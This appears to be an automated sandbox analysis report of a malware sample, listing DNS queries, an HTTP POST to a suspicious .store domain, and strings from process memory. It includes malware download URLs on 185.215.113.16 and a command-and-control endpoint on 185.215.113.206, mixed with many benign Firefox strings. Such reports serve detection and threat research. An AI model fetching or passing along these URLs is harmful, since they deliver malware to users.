Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419B0A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: reportPageWithAdImpressionshttp-on-examine-cached-responseMaybe record user engagement.Counting ad click in page for:recordAbandonmentTelemetryNon ad-click already recordedIgnoring load from historyfindUserInstalledPackagesExpected to report URI forSEARCH_AD_CLICKS_SCALAR_BASE_reportPageWithAdImpressionsCould not find an impression id.SearchTelemetry:ProviderInfooverrideSearchTelemetryForTestsgetPinnedTabsCount/pinnedTabs<installation_telemetry.jsonhttps://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2580737479.000002B9B5C55000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2576624739.000002B9B5752000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2576624739.000002B9B579F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2580737479.000002B9B5C55000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2576624739.000002B9B5721000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2576624739.000002B9B576B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2576624739.000002B9B57D8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: x*://www.facebook.com/platform/impression.php* equals www.facebook.com (Facebook)
Source: global traffic DNS traffic detected: DNS query: presticitpo.store
Source: global traffic DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic DNS traffic detected: DNS query: youtube.com
Source: global traffic DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: example.org
Source: global traffic DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: www.youtube.com
Source: global traffic DNS traffic detected: DNS query: www.facebook.com
Source: global traffic DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic DNS traffic detected: DNS query: www.reddit.com
Source: global traffic DNS traffic detected: DNS query: twitter.com
Source: global traffic DNS traffic detected: DNS query: reddit.map.fastly.net
Source: global traffic DNS traffic detected: DNS query: services.addons.mozilla.org
Source: global traffic DNS traffic detected: DNS query: normandy.cdn.mozilla.net
Source: global traffic DNS traffic detected: DNS query: normandy-cdn.services.mozilla.com
Source: unknown HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store
Source: firefox.exe, 00000019.00000002.2525401575.000002B9A4E6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2589627659.000002B9B6E41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2472713549.000002B9BF958000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2561919945.000002B9B4870000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2530190605.000002B9B04B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2504794254.00000274E3A70000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2518266022.000002941A060000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://127.0.0.1:
Source: file.exe, 00000000.00000003.2011345201.00000000010C4000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2454189702.0000000001380000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/
Source: 7f3598dc65.exe, 00000008.00000003.2454189702.0000000001380000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/H
Source: 7f3598dc65.exe, 00000008.00000003.2454189702.0000000001380000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/Qs
Source: 7f3598dc65.exe, 00000008.00000003.2454189702.0000000001380000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2455722619.000000000138E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: 7f3598dc65.exe, 00000008.00000003.2454189702.0000000001380000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/mine/random.exe0n
Source: 7f3598dc65.exe, 00000008.00000003.2454189702.0000000001380000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/mine/random.exe:n
Source: file.exe, 00000000.00000003.2011455939.0000000001064000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2446227446.00000000013A4000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2454189702.0000000001380000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 7f3598dc65.exe, 00000008.00000003.2454189702.0000000001380000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exe4
Source: file.exe, 00000000.00000003.2011455939.0000000001064000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exeHQ
Source: file.exe, 00000000.00000003.2011455939.0000000001064000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exeHT
Source: 7f3598dc65.exe, 00000008.00000003.2454189702.0000000001380000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exeedn
Source: file.exe, 00000000.00000003.2011455939.0000000001064000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exexQ
Source: file.exe, 00000000.00000003.2011455939.000000000104F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16:80/off/def.exe
Source: 606111e8b5.exe, 00000009.00000002.2310828358.0000000001AEE000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001A.00000002.2363112803.000000000159E000.00000004.00000020.00020000.00000000.sdmp, 606111e8b5.exe, 0000001D.00000002.2516702387.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206
Source: 606111e8b5.exe, 00000009.00000002.2310828358.0000000001AEE000.00000004.00000020.00020000.00000000.sdmp, 606111e8b5.exe, 00000009.00000002.2310828358.0000000001B5C000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001A.00000002.2363112803.00000000015E2000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001A.00000002.2363112803.000000000159E000.00000004.00000020.00020000.00000000.sdmp, 606111e8b5.exe, 0000001D.00000002.2516702387.0000000000BE4000.00000004.00000020.00020000.00000000.sdmp, 606111e8b5.exe, 0000001D.00000002.2516702387.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/
Source: 606111e8b5.exe, 00000009.00000002.2310828358.0000000001B5C000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001A.00000002.2363112803.00000000015E2000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001A.00000002.2363112803.00000000015CE000.00000004.00000020.00020000.00000000.sdmp, 606111e8b5.exe, 0000001D.00000002.2516702387.0000000000BE4000.00000004.00000020.00020000.00000000.sdmp, 606111e8b5.exe, 0000001D.00000002.2516702387.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp, 606111e8b5.exe, 0000001D.00000002.2516702387.0000000000BDD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: 606111e8b5.exe, 00000009.00000002.2310828358.0000000001B5C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php&
Source: 606111e8b5.exe, 00000009.00000002.2310828358.0000000001B5C000.00000004.00000020.00020000.00000000.sdmp, 606111e8b5.exe, 0000001D.00000002.2516702387.0000000000BE4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/
Source: 606111e8b5.exe, 00000009.00000002.2310828358.0000000001B5C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/~
Source: 606111e8b5.exe, 00000009.00000002.2310828358.0000000001B5C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpJ
Source: 606111e8b5.exe, 00000009.00000002.2310828358.0000000001B72000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phprd
Source: 606111e8b5.exe, 00000009.00000002.2310828358.0000000001B5C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpv
Source: 606111e8b5.exe, 00000009.00000002.2310828358.0000000001B5C000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001A.00000002.2363112803.00000000015E2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/ws
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2474531163.000002B9BCFE4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2474531163.000002B9BCFE4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2474531163.000002B9BCFE4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2474531163.000002B9BCFE4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: file.exe, 00000000.00000003.1740958457.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2256753219.000000000591D000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2424492079.00000000052D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2574304998.000002B9B5111000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1740958457.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2256753219.000000000591D000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2424492079.00000000052D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2574304998.000002B9B5111000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 00000019.00000002.2534045766.000002B9B0C7D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%sgecko.handlerService.defaultHandlersVersion
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2FB4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: file.exe, 00000000.00000003.1699790064.000000000109C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1986113248.00000000010CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.micro
Source: file.exe, 00000000.00000003.1740958457.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2256753219.000000000591D000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2424492079.00000000052D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2574304998.000002B9B5111000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1740958457.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2256753219.000000000591D000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2424492079.00000000052D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2574304998.000002B9B5111000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1740958457.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2256753219.000000000591D000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2424492079.00000000052D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2574304998.000002B9B5111000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1740958457.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2256753219.000000000591D000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2424492079.00000000052D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2574304998.000002B9B5111000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1740958457.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2256753219.000000000591D000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2424492079.00000000052D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2574304998.000002B9B5111000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 00000019.00000003.2478463668.000002B9BCD41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2591081287.000002B9B6F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 00000019.00000003.2473178711.000002B9BD1F7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2580737479.000002B9B5C47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2583741939.000002B9B5F31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2530190605.000002B9B04B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2504794254.00000274E3A70000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2518266022.000002941A060000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/canonical.html-
Source: firefox.exe, 00000019.00000003.2478463668.000002B9BCD41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2530190605.000002B9B04B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2504794254.00000274E3A70000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2518266022.000002941A060000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 00000019.00000003.2478463668.000002B9BCD41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2530190605.000002B9B04B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2504794254.00000274E3A70000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2518266022.000002941A060000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 00000019.00000002.2535037186.000002B9B0F26000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 00000019.00000002.2560279279.000002B9B46D0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListenerFailed
Source: firefox.exe, 00000019.00000002.2535037186.000002B9B0F26000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 00000019.00000002.2560279279.000002B9B46D0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListenerThe
Source: firefox.exe, 00000019.00000003.2381565829.000002B9ADAB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://en.wB
Source: firefox.exe, 00000019.00000002.2531448134.000002B9B068A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 00000019.00000002.2531448134.000002B9B0643000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/dates-and-times
Source: firefox.exe, 00000019.00000002.2531448134.000002B9B068A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 00000019.00000002.2531448134.000002B9B0643000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 00000019.00000002.2531448134.000002B9B068A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 00000019.00000002.2525401575.000002B9A4E03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/stringsp
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://json-schema.org/draft-04/schema#
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://json-schema.org/draft-06/schema#
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://json-schema.org/draft-07/schema#
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://json-schema.org/draft-07/schema#http://json-schema.org/draft-04/schema#
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org
Source: firefox.exe, 00000019.00000002.2561919945.000002B9B48C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/additionalProperties
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/addonsFeatureGate
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/addonsShowLessFrequentlyCap
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/addonsUITreatment
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/appName
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabled
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryUseCountThreshold
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/bestMatchBlockingEnabled
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/bestMatchEnabledhttp://mozilla.org/#/properties/merinoEnabled
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/featureId
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/featureIdhttp:/
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/value
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/value/additiona
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/valueplaces.sql
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/ratio
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/slug
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0http://mozilla.org/#/properties/isRollout
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/enabled
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/featureId
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/featureIdhttp:/
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value/additiona
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/featureI
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value/ad
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/itemshttp://mozilla.org/#
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/ratio
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/slug
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1http://mozilla.org/#/properties/appId
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/featureI
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/ratio
